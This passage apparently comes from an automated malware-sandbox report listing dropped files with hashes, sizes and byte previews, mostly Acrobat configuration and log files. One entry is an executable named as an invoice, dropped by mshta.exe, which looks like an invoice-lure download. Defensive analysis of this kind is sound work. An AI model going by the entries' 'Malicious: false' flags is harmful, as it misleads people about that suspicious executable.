Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26258367632384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfYdPeUkwRe9:YvXKXv9A2vR/ZwHA/Gg8Ukee9
MD5:	2DF2F5EF27E5CCB990B2F631C36A9A5D
SHA1:	AB0E17F1F923490285760D5D0694480FD24E6E8D
SHA-256:	6CEE8A056C50C278B305E0294EA27CD45AE86EE5D4A77103610501B2F9043E1D
SHA-512:	D05421B1EE1E590F854593503C7A7D9E039D97F0FBD639B0F978CBEA5EC9AA8EFD32A937BA2CE9FB9885C649C4F263E7563D97F2E0337B1B2DD52D6644A68A0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.773926556055866
Encrypted:	false
SSDEEP:	24:Yv6Xv9PJhWrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNf:YvK9PJhWHgDv3W2aYQfgB5OUupHrQ9FX
MD5:	167479D45C4CAD77073C99E840DB0771
SHA1:	6785E168993A456BD59355311A16A591CB5C62D0
SHA-256:	B3332AB19F9426FCDE4A8EE15CE5E5621C447E81D3D629476BA4CFFD02900AFC
SHA-512:	350BA532B9810523A85AD3524CE0C81A4F68D8A3E098B6695C9E148910527D03A716EE20708CD65F8A5A5DF3A32C71C60A8C7155D93DDFC8BA6B422BB53AB26D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.246387930861458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfbPtdPeUkwRe9:YvXKXv9A2vR/ZwHA/GDV8Ukee9
MD5:	978596A3C34F6773BA9972F33602EA65
SHA1:	66DA99A2F0CB4B9535F1B9EB1CD86D06856278C4
SHA-256:	EF47C481FAEA8C32C5A10AE7BBF95259AE68A3443BCF1566B6D237FAA114F7B9
SHA-512:	CA04C50FF72354A21395E4F6571892AEE230DF8FA3CF8C2796C3913FA2A7F1A0EFA8F94A955F5EEF0B567B8C90F52C03A9FB711E4CE4F17BECB62355532FA010
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.245208847894071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJf21rPeUkwRe9:YvXKXv9A2vR/ZwHA/G+16Ukee9
MD5:	71CD05E195E4AB3ADB8E90878A2F0CCF
SHA1:	5E06B66D7AB98D8FA2D412B71190E6C33E456B8F
SHA-256:	FC6C6CFF6093848AD44E93002DAC35F7A9517DC4C9358F6E0BADC82B41707C5D
SHA-512:	26ED74D49337961797D2283545BA57DC8258C50A04E56B8EE2176C9B5B4B3F335BC75630D91E28A95F7789F08DCC0370FD251CE226648F26A2656C56D18E9A12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269696282607111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfbpatdPeUkwRe9:YvXKXv9A2vR/ZwHA/GVat8Ukee9
MD5:	A32ED0A91100A8685D127454FDB30FB3
SHA1:	1D7E31D9BAEE371E0298C97DA467F5F4BF04866F
SHA-256:	886A03BB7C7B6FBD9B597F0A19BCCBF0025C383467355A98BE4F0880BF5676DE
SHA-512:	80FBB3258297A5781C98F2CFB889B1BD0DD4FA2D04829BE38F493F258D7A397444758250C3FCDF22C767B94AED2350D5C0A179637DDC608FA7CE943F2F96DCD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.221957941621081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfshHHrPeUkwRe9:YvXKXv9A2vR/ZwHA/GUUUkee9
MD5:	EF56DCF146A852D40DBEBE31997FD9CC
SHA1:	9822858AFF91E02A6A566B7E5B4CDAE40A3E3D46
SHA-256:	F25C3456825B6E8F0FC4A8A657B4A704A8CB4E85D20387534201A6CE84786AA5
SHA-512:	09524E65C87CB792B54CD1F5A51F00A540EF3C35671F982A8CC9179B16A187083A9B636062DC78276FD65131308B1A2A2B5C51DCAC5FE2F0546905E81AC3E461
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.368542123438326
Encrypted:	false
SSDEEP:	12:YvXKXv9A2vR/ZwHA/GTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWIy:Yv6Xv9PJhj168CgEXX5kcIfANhC
MD5:	6D530262715EC6273374F96BE757AA8A
SHA1:	92DF02C19F98A04171A526427495984AA1369B44
SHA-256:	51E4D84E3743EB38D0C03A10A0702E9B91B4E4E81A23B51E543C21633A97543C
SHA-512:	5522FDF99CB23F3AF0B7FB6DEA346A985805EF274E802B70139FBCA40D900AFA51A43C0C331D9658754DFEBF8A5F1514C327168FCF8A31056E47119BF2826FFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1719917253753}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.125920434302803
Encrypted:	false
SSDEEP:	24:YNMtEDzJrHhCg0LCAZMt68trDWatayDh/PT2D0loSfjzGsj0SgP2nJFoS2k662Lh:Yq8F0LC+MtDdXPzG+TFTG6se+j9PqA
MD5:	3F46777A1149F5CE3F4C9FF9AA27625B
SHA1:	FA236FB2C2350739B776A828D992D92B7BE514B5
SHA-256:	1E0A076B71E7BF6127D14F898CBD3E45DB427DBEB809517491050B6BC316F128
SHA-512:	D606F31B738512C58A587DDC6F107D38CBF9FD8CE6B5291E37901816C68C328AD0399E44607C3820DE989B3ABEC13036930BB1C4B93D82B1CCC3E08115E2988C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f9035d150391cfec86a38b05a5af96d9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1719917253000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"35730978be7033865fdb2ffdb3a6541c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1719917253000},{"id":"Edit_InApp_Aug2020","info":{"dg":"1d63afb1e69c14ea4c5731d1f0a8c94b","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1719917253000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"546edb5dcd9ac4305061f3d8e88943e9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1719917253000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cff7d3a0a1e23af775bfea86b1e76473","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1719917253000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"003a212a7408b0de56fb2e18c2e4e150","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":289,"ts":171991

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3188888659123144
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeY/EtqVv:TGufl2GL7ms9WR1CPmPbPahYmypilI+g
MD5:	694E688B24016449ACA742A1C884D103
SHA1:	058B4E60BE8FA38C479B67D3363DAD60F69EAEEC
SHA-256:	7EE3D3C333F4757F70437BAE3A816BF03EEAA80C9455651495EB4C8CAC7D4E00
SHA-512:	774782594B88AD212CDB06771203544CF2C01F8DF5B9D3DBC852F76364F505DCD15860E2D7FCF5E9160DA3AC851E5FDF1B58B65DD13C699DE3209A1E89853A31
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7803331494064196
Encrypted:	false
SSDEEP:	48:7MnWR1CPmPbPahYfypilIdqFl2GL7msC8:7CWfMwbPahekKVmsl
MD5:	8B1DA192B39FCDEA43AA4DEBA0337621
SHA1:	FB293D6475BC5DA2D87CC96CE71C188964A07712
SHA-256:	A0C711A07AEE2563EC03E1013323A208CB0D70EAC01A47733150636BD89FD06A
SHA-512:	89814D52FC1D3C2BF381EF3985A95CCDBFD346AB9F085617AEC596F126DF6DC7AB39594DA8430F70C82D75402C18BA2FD3DE5B48774499EC14755D7009E399A2
Malicious:	false
Preview:	.... .c.....=0............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\invoiceupsstage[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	200872
Entropy (8bit):	4.619573102182415
Encrypted:	false
SSDEEP:	768:csfY5DRtOhVkzDOWsfY5DRtOhVkzDOsgizsfY5DRtOhVkzDOfFsfY5DRtOhVkzDO:cz+kOWz+kO/izz+kONz+kO
MD5:	909D871CCE2252C985F9AADEDB2A754D
SHA1:	902AF292DFB83C31BFF0F96341A24B998689B2C6
SHA-256:	9D9CFD342000AD5655052B050ABD59AFD502E4E570335C5922DA03C117EC2749
SHA-512:	D1C03FAEF0B83404C15D2F1580F93E3EDB8FA454D5912DDF77F8C1DDA85836E463DAA6FD30FC4200218BE39C5E702D0DB7D7BDF232F4F8BB8DB88C10D188F30F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............N...N...N..O...N..O...N..O...N..O...N...N...N..O...N.3N...N..O...NRich...N................PE..L...J.\-.....................~...............0....@.................................`.....@...... ...........................@..d....`..ho..........................0...T............................................@.......".......................text............................... ..`.data...\|....0......................@....idata..D....@......................@..@.didat.......P......."..............@....rsrc...ho...`...p...$..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\MSIdcbaa.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5309417490522437
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8gVk+g:Qw946cPbiOxDlbYnuRKLVk+g
MD5:	F43F04525A92586BA2F1E65E1DEB9D7F
SHA1:	37FE16B03DD5084BA24B6746E97E88B4F71E1F14
SHA-256:	9E3A37C20E01B4800288E87CC16DA70FB06BD6BA30D4987E74366733F3AA8CD2
SHA-512:	F1258B0BB7889D137B1BA022B8F0CD6F20C006DFF1C2A7489A6C8F7EC0677FC9EB8B863BDA4B05BDD04E51AD8DCC7446D5E7D9EA86CAC05B911E1171CDF70E22
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.2./.0.7./.2.0.2.4. . .0.6.:.4.7.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cykvzpzj.1pm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3jjch04.wp5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0fhi2pb.rt0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbzgvsre.yfj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-07-02 06-47-28-976.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.301382093997458
Encrypted:	false
SSDEEP:	384:srnynnxkX1Ka3VjcEqRAoLPUJfIdC2WseZ9BP3HXVqyztwz443JRexePa9qRUFNK:M3m
MD5:	79137306F99087B025B77B9B4FF43E92
SHA1:	21F045A14EE61B38C5B3FF8EDC12E780F95AD9B6
SHA-256:	1D5068872582BDF0D9789DDF067097FC3511656D8E7D4230BE82BF1F7818C139
SHA-512:	2D132A2D1A46D2F0F7BA5BF7A0E3A436765E3F5FE8FE2764C3AE02276AD397468A8F66279460765E85E90AF914F5A10098564306812983A853F4E0960F960328
Malicious:	false
Preview:	SessionID=843b073a-4e77-434a-b14e-18f0199b36e1.1719917249004 Timestamp=2024-07-02T06:47:29:004-0400 ThreadID=7356 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=843b073a-4e77-434a-b14e-18f0199b36e1.1719917249004 Timestamp=2024-07-02T06:47:29:005-0400 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=843b073a-4e77-434a-b14e-18f0199b36e1.1719917249004 Timestamp=2024-07-02T06:47:29:005-0400 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=843b073a-4e77-434a-b14e-18f0199b36e1.1719917249004 Timestamp=2024-07-02T06:47:29:005-0400 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=843b073a-4e77-434a-b14e-18f0199b36e1.1719917249004 Timestamp=2024-07-02T06:47:29:005-0400 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.416308919421175
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbdbBB9+d4X+6zCO/OPhOQLQ94lcbk:ceo4+rsCt41
MD5:	2356D077DFA9AA8845A4D2ECFE10B30B
SHA1:	85B490A49417A5732C23A0482D41020914AAB5B0
SHA-256:	037BB57466E1C6F759D702E7A9020D629F3EB21902A320DBF48CEB228AD7167F
SHA-512:	86704C6A2208A521C3013955BE064B9CC666FE776E3C13C0B307264205C640CDE80EB7D9D4C773A24124D9CC656708F6C3D1272F66528DC7B582C42BE8F1AC71
Malicious:	false
